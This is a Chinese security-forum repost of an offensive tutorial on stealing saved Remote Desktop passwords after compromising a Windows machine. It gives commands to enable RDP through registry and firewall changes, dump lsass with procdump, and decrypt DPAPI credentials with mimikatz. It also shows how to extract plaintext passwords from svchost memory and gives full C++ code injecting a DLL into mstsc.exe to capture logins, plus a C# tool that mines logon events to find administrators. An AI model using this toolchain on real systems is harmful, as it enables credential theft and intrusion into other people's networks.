安全矩阵

 找回密码
 立即注册
搜索
查看: 2449|回复: 0

内网渗透 | 横向移动中MSTSC的密码获取

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-7-19 09:14:43 | 显示全部楼层 |阅读模式
原文链接:内网渗透 | 横向移动中MSTSC的密码获取

在常见渗透过程中我们拿到了一个pc权限,目标pc的mstsc可能保存了其他机器的密码。所以获取它保存的密码是非常有利用价值的。
0x01 查询是否开启33891.13389开启的进程名为TermService,所以我们可以查看是否开启这个进程

tasklist /svc | findstr TermService

1.2
0x02 查看rdp开启具体端口很多运维为了安全起见可能会修改默认3389端口为其他端口
2.1tasklist /svc | findstr TermServicenetstat -ano | findstr "前面获取到的pid"
2.2REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /V PortNumber


0x03 如何开启3389如果获取到目标高权限的webshell可以通过命令开启3389
3.1允许3389端口放行
netsh advfirewall firewall add rule name=”Remote Desktop” protocol=TCP dir=in localport=3389 action=allow
①:通用开3389(优化后):
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
②:For Win2003:
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal” “Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
③:For Win2008:
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal” “Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
④:For Every: cmd开3389 win08 win03 win7 win2012 winxp win08,三条命令即可:
  wmic /namespace:\root\cimv2 erminalservices path win32_terminalservicesetting where (__CLASS != "") call setallowtsconnections 1  wmic /namespace:\root\cimv2 erminalservices path win32_tsgeneralsetting where (TerminalName ='RDP-Tcp') call setuserauthenticationrequired 1  reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f3.2使用[RegfDenyTSConnections.ps1] https://github.com/QAX-A-Team/Ev ... nyTSConnections.ps1脚本

0x04 获取登录日志在windows事件里面id为4624和4635分别为成功登录和失败登录

这里看下4624的详情
  1. 已成功登录帐户。
  2. 主题:
  3.     安全 ID:        SYSTEM
  4.         帐户名:        WIN-4BS4SH00L5N$
  5.     帐户域:        REDTEAM
  6.     登录 ID:        0x3e7
  7. 登录类型:            10
  8. 新登录:
  9.     安全 ID:        WIN-4BS4SH00L5N\test
  10.     帐户名:        test
  11.     帐户域:        WIN-4BS4SH00L5N
  12.     登录 ID:        0xfd71e
  13.     登录 GUID:        {00000000-0000-0000-0000-000000000000}
  14. 进程信息:
  15.     进程 ID:        0xbcc
  16.     进程名:        C:\Windows\System32\winlogon.exe
  17. 网络信息:
  18.     工作站名:    WIN-4BS4SH00L5N
  19.     源网络地址:    192.168.11.12
  20.     源端口:        63275
  21. 详细身份验证信息:
  22.     登录进程:        User32
  23.     身份验证数据包:    Negotiate
  24.     传递服务:    -
  25.     数据包名(仅限 NTLM):    -
  26.     密钥长度:        0
复制代码
4625:
  1. 帐户登录失败。
  2. 主题:
  3.     安全 ID:        SYSTEM
  4.     帐户名:        WIN-4BS4SH00L5N$
  5.     帐户域:        WORKGROUP
  6.     登录 ID:        0x3e7
  7. 登录类型:            2
  8. 登录失败的帐户:
  9.     安全 ID:        NULL SID
  10.     帐户名:        Administrator
  11.     帐户域:        WIN-4BS4SH00L5N
  12. 失败信息:
  13.     失败原因:        指定帐户的密码已过期。
  14.     状态:            0xc0000224
  15.     子状态:        0x0
  16. 进程信息:
  17.     调用方进程 ID:    0x184
  18.     调用方进程名:    C:\Windows\System32\winlogon.exe
  19. 网络信息:
  20.     工作站名:    WIN-4BS4SH00L5N
  21.     源网络地址:    127.0.0.1
  22.     源端口:        0
  23. 详细身份验证信息:
  24.     登录进程:        User32
  25.     身份验证数据包:    Negotiate
  26.     传递服务:    -
  27.     数据包名(仅限 NTLM):    -
  28.     密钥长度:        0
复制代码

在一些溯源工作可能会用到,还有就是当我们撸下一台服务器我们想定位到办公区或者it,运维组可以通过该方法


  1. using System;
  2. using System.Collections.Generic;
  3. using System.Diagnostics;
  4. using System.Linq;
  5. using System.Text;
  6. namespace SharpEventLog
  7. {
  8.     class Program
  9.     {
  10.         static void Main(string[] args)
  11.         {
  12.             if (args.Length == 0)
  13.             {
  14.                 System.Console.WriteLine("Usage: EventLog.exe -4624");
  15.                 System.Console.WriteLine("       EventLog.exe -4625");
  16.             }
  17.             if (args.Length == 1 && args[0] == "-4624")
  18.             {
  19.                 EventLog_4624();
  20.             }
  21.             if (args.Length == 1 && args[0] == "-4625")
  22.             {
  23.                 EventLog_4625();
  24.             }
  25.             
  26.         }
  27.         public static void EventLog_4624()
  28.         {
  29.             EventLog log = new EventLog("security");
  30.             Console.WriteLine("\r\n========== 4624 ==========\r\n");
  31.             var entries = log.Entries.Cast<EventLogEntry>().Where(x => x.InstanceId == 4624);
  32.             entries.Select(x => new
  33.             {
  34.                 x.MachineName,
  35.                 x.Site,
  36.                 x.Source,
  37.                 x.Message,
  38.                 x.TimeGenerated
  39.             }).ToList();
  40.             foreach (EventLogEntry log1 in entries)
  41.             {
  42.                 string text = log1.Message;
  43.                 string ipaddress = MidStrEx(text, "    源网络地址:    ", "    源端口:");
  44.                 string username = MidStrEx(text, "新登录:", "进程信息:");
  45.                 username = MidStrEx(username, "    帐户名:        ", "    帐户域:        ");
  46.                 DateTime Time = log1.TimeGenerated;
  47.                 if (ipaddress.Length >= 7)
  48.                 {
  49.                     Console.WriteLine("\r\n-----------------------------------");
  50.                     Console.WriteLine("Time: " + Time);
  51.                     Console.WriteLine("Status: True");
  52.                     Console.WriteLine("Username: " + username.Replace("\n", "").Replace(" ", "").Replace("\t", "").Replace("\r", ""));
  53.                     Console.WriteLine("Remote ip: " + ipaddress.Replace("\n", "").Replace(" ", "").Replace("\t", "").Replace("\r", ""));
  54.                 }
  55.             }
  56.         }
  57.         public static void EventLog_4625()
  58.         {
  59.             EventLog log = new EventLog("Security");
  60.             Console.WriteLine("\r\n========== 4625 ==========\r\n");
  61.             var entries = log.Entries.Cast<EventLogEntry>().Where(x => x.InstanceId == 4625);
  62.             entries.Select(x => new
  63.             {
  64.                 x.MachineName,
  65.                 x.Site,
  66.                 x.Source,
  67.                 x.Message,
  68.                 x.TimeGenerated
  69.             }).ToList();
  70.             foreach (EventLogEntry log1 in entries)
  71.             {
  72.                 string text = log1.Message;
  73.                 string ipaddress = MidStrEx(text, "    源网络地址:    ", "    源端口:");
  74.                 string username = MidStrEx(text, "新登录:", "进程信息:");
  75.                 username = MidStrEx(username, "    帐户名:        ", "    帐户域:        ");
  76.                 DateTime Time = log1.TimeGenerated;
  77.                 if (ipaddress.Length >= 7)
  78.                 {
  79.                     Console.WriteLine("\r\n-----------------------------------");
  80.                     Console.WriteLine("Time: " + Time);
  81.                     Console.WriteLine("Status: Flase");
  82.                     Console.WriteLine("Username: " + username.Replace("\n", "").Replace(" ", "").Replace("\t", "").Replace("\r", ""));
  83.                     Console.WriteLine("Remote ip: " + ipaddress.Replace("\n", "").Replace(" ", "").Replace("\t", "").Replace("\r", ""));
  84.                 }
  85.             }
  86.         }
  87.         public static string MidStrEx(string sourse, string startstr, string endstr)
  88.         {
  89.             string result = string.Empty;
  90.             int startindex, endindex;
  91.             startindex = sourse.IndexOf(startstr);
  92.             if (startindex == -1)
  93.                 return result;
  94.             string tmpstr = sourse.Substring(startindex + startstr.Length);
  95.             endindex = tmpstr.IndexOf(endstr);
  96.             if (endindex == -1)
  97.                 return result;
  98.             result = tmpstr.Remove(endindex);
  99.             return result;
  100.         }
  101.     }
  102. }
复制代码

0x05 mstsc保存密码-解密5.1可以通过
cmdkey /ldir /a %userprofile%\AppData\Local\Microsoft\Credentials\*来查看是否存在凭证

procdump64.exe -accepteula -ma lsass.exe lsass.dmp
procdump64来获取内存文件

然后使用mimikatz获取guidMasterKey:
{12f037b9-df42-4dcf-b9e0-31b57d26c544}
mimikatz.exe "dpapi::cred /in:C:\Users\jack\AppData\Local\Microsoft\Credentials\B57C0630F49BB26F284ECFD8DCD9E0A2" "exit" > 1.txt

然后加载dmp获取对应的MasterKey:
ba3ebb5374ea4623a1fcc006ac4552bbb17301b539e62c066f7f4e8ba2931789a48699e276f569535f12dc7a1f42bbbccd35e51c60f19ee3560ee155d9a7c078
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::dpapi" "exit" > 2.txt

然后使用MasterKey进行解密
mimikatz.exe "dpapi::cred /in:C:\Users\jack\AppData\Local\Microsoft\Credentials\B57C0630F49BB26F284ECFD8DCD9E0A2 /masterkey:ba3ebb5374ea4623a1fcc006ac4552bbb17301b539e62c066f7f4e8ba2931789a48699e276f569535f12dc7a1f42bbbccd35e51c60f19ee3560ee155d9a7c078" "exit" > 3.txt

5.2当用户通过RDP连接进行身份验证的时候,终端服务是由svchost进程托管,凭证是以纯文本形式储存在svchost进程的内存中。但是在进程里面有很多svchost进程。因此可以通过执行以下命令之一来识别哪个进程,hosts 终端服务连接。
sc queryex termservice

查询是那个进程加载了rdpcorets.dll
tasklist /M:rdpcorets.dll

可以指定pid写入dmp文件来转存内存

然后可以在kali进行离线分析
strings -el svchost*


0x06 hook mstsc一般获取mstsc密码来说就两种方法,第一种获取运行后保存在内存中的密码,第二就是hook mstsc截获密码。前文写过如何获取保存后的密码,现在来讲解如何hook。
6.1 Detours库该库支持 32 位和 64 位进程,这里拿MessageBox函数来进行讲解。在做挂钩的时候必须要确定原始函数的地址和钩子函数地址的目标指针。
6.1.1 Detours库安装[源码下载地址]:https://github.com/Microsoft/Detours。这里以64位进行实验。
使用vs的命令行在src目录执行(x64 Native Tools Command Prompt for VS 2019 和 x86 Native Tools Command Prompt for VS 2019,这两个可以分别用来编译64位和32位的Detours)
nmake

编译后会生成一下三个目录
•bin.X64•include•lib.X64
vs建立工程添加
•detours.h•detours.lib
打开程序包管理器控制台执行
Install-Package Detours

然后导入.h和.lib文件即可。
  1. #include <Windows.h>
  2. #include <detours.h>
  3. #pragma comment (lib,"detours.lib")
  4. static int(WINAPI* TrueMessageBox)(HWND, LPCTSTR, LPCTSTR, UINT) = MessageBox;
  5. int WINAPI OurMessageBox(HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType) {
  6.     return TrueMessageBox(NULL, L"Hooked", lpCaption, 0);
  7. }
  8. int main()
  9. {
  10.     DetourTransactionBegin();
  11.     DetourUpdateThread(GetCurrentThread());
  12.     DetourAttach(&(PVOID&)TrueMessageBox, OurMessageBox);
  13.     DetourTransactionCommit();
  14.     MessageBox(NULL, L"11ccaab", L"11ccaab", 0);
  15.     DetourTransactionBegin();
  16.     DetourUpdateThread(GetCurrentThread());
  17.     DetourDetach(&(PVOID&)TrueMessageBox, OurMessageBox);
  18.     DetourTransactionCommit();
  19. }
复制代码



6.2 API Monitor 监控 mstsc附加到mstsc进程,然后监听

可以看到ip存放于CredReadW方法中

6.3 RdpThief[RdpThief]:https://github.com/0x09AL/RdpThief 编译好是一个 DLL,当注入mstsc.exe进程时,它将执行 API 挂钩,提取明文凭据并将它们保存到%temp%/data.bin文件中。
6.4 dll注入
  1. #include <Windows.h>
  2. #include <TlHelp32.h>
  3. #include <string>
  4. typedef void(*PFN_FOO)();
  5. int main()
  6. {
  7.     //获取快照
  8.     HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  9.     PROCESSENTRY32 pe32;
  10.     DWORD pid = 0;
  11.     pe32.dwSize = sizeof(PROCESSENTRY32);
  12.     //查看第一个进程
  13.     BOOL bRet = Process32First(hSnap, &pe32);
  14.     while (bRet)
  15.     {
  16.         bRet = Process32Next(hSnap, &pe32);
  17.         if (wcscmp(pe32.szExeFile, L"mstsc.exe") == 0){
  18.             pid = pe32.th32ProcessID;
  19.             break;
  20.         }
  21.     }
  22.     //获取进程句柄
  23.     HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
  24.     HANDLE hDestModule = NULL;
  25.     //接下来找到该进程中kernel32.dll的基址
  26.     hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, pid);
  27.     MODULEENTRY32 mo32 = { 0 };
  28.     mo32.dwSize = sizeof(MODULEENTRY32);
  29.     bRet = Module32First(hSnap, &mo32);
  30.     while (bRet)
  31.     {
  32.         bRet = Module32Next(hSnap, &mo32);
  33.         wprintf(mo32.szExePath);
  34.         std::wstring wstr = mo32.szExePath;
  35.         if (wstr.find(L"KERNEL32.DLL") != std::string::npos){
  36.             hDestModule = mo32.modBaseAddr;
  37.             break;
  38.         }
  39.         
  40.     }
  41.     LPVOID lpDestAddr = NULL;
  42.     if (hDestModule != NULL){
  43.         //获取本进程的kernel32地址
  44.         HMODULE hkernel32 = GetModuleHandleA("KERNEL32.DLL");
  45.         //计算函数的位置
  46.         LPVOID lploadlibrary = GetProcAddress(hkernel32, "LoadLibraryA");
  47.         //获取了目标进程中的loadlibrary的地址
  48.         lpDestAddr = (char*)lploadlibrary - (char*)hkernel32 + (char*)hDestModule;
  49.     }
  50.    
  51.     //1.在目标进程开辟空间
  52.     LPVOID lpAddr = VirtualAllocEx(
  53.         hProcess,    //在目标进程中开辟空间
  54.         NULL,    //表示任意地址,随机分配
  55.         1,    //内存通常是以分页为单位来给空间 1页=4k 4096字节
  56.         MEM_COMMIT,    //告诉操作系统给分配一块内存
  57.         PAGE_EXECUTE_READWRITE
  58.         );
  59.     if (lpAddr == NULL){
  60.         printf("Alloc error!");
  61.         return 0;
  62.     }
  63.     DWORD dwWritesBytes = 0;
  64.     char* pDestDllPath = R"(C:\TestDLL.dll)";
  65.     //2.在目标进程中写入目标dll的路径
  66.     bRet = WriteProcessMemory(
  67.         hProcess,    //目标进程
  68.         lpAddr,    //目标地址    目标进程中
  69.         pDestDllPath,    //源数据    当前进程中
  70.         strlen(pDestDllPath)+1,    //写多大
  71.         &dwWritesBytes //成功写入的字节数
  72.         );
  73.     if (!bRet){
  74.         VirtualFreeEx(hProcess, lpAddr, 1, MEM_DECOMMIT);
  75.         return 0;
  76.     }
  77.     //3.向目标程序调用一个线程 创建远程线程 执行写入代码
  78.     HANDLE hRemoteThread = CreateRemoteThread(hProcess,    //目标进程
  79.         NULL,
  80.         0,
  81.         (LPTHREAD_START_ROUTINE)lpDestAddr,    //目标进程的回调函数
  82.         lpAddr,    //回调参数
  83.         0,
  84.         NULL
  85.         );
  86.     return 0;
  87. }
复制代码

运行加载dll,使用Process Explorer可以看到成功加载了dll

无论是否登录成功密码都会保存在
C:\Users\your username\AppData\Local\Temp\data.bin





回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 10:43 , Processed in 0.014431 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表